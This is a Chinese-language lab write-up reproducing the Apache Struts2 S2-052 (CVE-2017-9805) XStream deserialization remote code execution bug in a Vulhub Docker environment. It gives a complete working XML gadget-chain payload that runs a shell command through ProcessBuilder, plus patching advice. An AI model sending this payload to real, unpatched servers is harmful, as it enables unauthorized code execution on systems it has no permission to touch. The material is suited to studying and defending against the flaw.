Apache Struts2--052远程代码执行漏洞复现

admin 2020年11月15日21:07:44评论321 views字数 2532阅读8分26秒阅读模式


网安引领时代,弥天点亮未来   






 

Apache Struts2--052远程代码执行漏洞复现

0x00漏洞简述

2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行


Apache Struts2--052远程代码执行漏洞复现

0x01影响版本

Apache Struts 2.5 – Struts2.5.12

Apache Struts 2.1.2– Struts 2.3.33


Apache Struts2--052远程代码执行漏洞复现

0x02漏洞复现


虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

http://192.168.60.131:8080/orders.xhtml   

Apache Struts2--052远程代码执行漏洞复现  

2、通过编辑进行POST数据的修改

Apache Struts2--052远程代码执行漏洞复现

3、该rest-plugin会根据URI扩展名或 Content-Type来判断解析文件方式, 需要修改orders.xhtml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

4、抓包对Content-Type类型修改

Apache Struts2--052远程代码执行漏洞复现

5、XML格式Payload数据包构造

<map><entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0</flags>      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">        <dataHandler>          <dataSourceclass="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">            <is class="javax.crypto.CipherInputStream">              <cipher class="javax.crypto.NullCipher">                 <initialized>false</initialized>                <opmode>0</opmode>                <serviceIteratorclass="javax.imageio.spi.FilterIterator">                  <iter class="javax.imageio.spi.FilterIterator">                     <iterclass="java.util.Collections$EmptyIterator"/>                     <nextclass="java.lang.ProcessBuilder">                       <command><string>touch</string><string>/tmp/yunzui.txt</string>                       </command>                      <redirectErrorStream>false</redirectErrorStream>                     </next>                  </iter>                  <filter class="javax.imageio.ImageIO$ContainsFilter">                     <method>                       <class>java.lang.ProcessBuilder</class>                      <name>start</name>                       <parameter-types/>                     </method>                    <name>foo</name>                  </filter>                  <next>foo</next>                </serviceIterator>                <lock/>              </cipher>              <inputclass="java.lang.ProcessBuilder$NullInputStream"/>              <ibuffer/>              <done>false</done>              <ostart>0</ostart>              <ofinish>0</ofinish>              <closed>false</closed>            </is>            <consumed>false</consumed>          </dataSource>          <transferFlavors/>        </dataHandler>        <dataLen>0</dataLen>      </value>    </jdk.nashorn.internal.objects.NativeString>    <jdk.nashorn.internal.objects.NativeStringreference="../jdk.nashorn.internal.objects.NativeString"/>  </entry>  <entry>    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>    <jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  </entry> </map>


6、通过payload进行漏洞利用,执行命令,返回响应500状态码,但是执行成功。

touch /tmp/yunzui.txt

Apache Struts2--052远程代码执行漏洞复现

7、命令执行结果进入docker查看,成功执行。

docker-compose exec struts2 bashls -al /tmp

Apache Struts2--052远程代码执行漏洞复现


Apache Struts2--052远程代码执行漏洞复现

0x03修复建议


1、升级Apachestruts 2.5.13或2.3.34版本

2、如果系统没有使用Struts REST插件,那么可以直接删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端文件的扩展名

<constantname="struts.action.extension" value="xhtml,,json" />

3、限制服务端扩展类型,删除XML支持


Apache Struts2--052远程代码执行漏洞复现

0x04参考链接


https://www.anquanke.com/post/id/86773



Apache Struts2--052远程代码执行漏洞复现 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

Apache Struts2--052远程代码执行漏洞复现



本文始发于微信公众号(弥天安全实验室):Apache Struts2--052远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月15日21:07:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts2--052远程代码执行漏洞复现http://cn-sec.com/archives/158680.html

发表评论

匿名网友 填写信息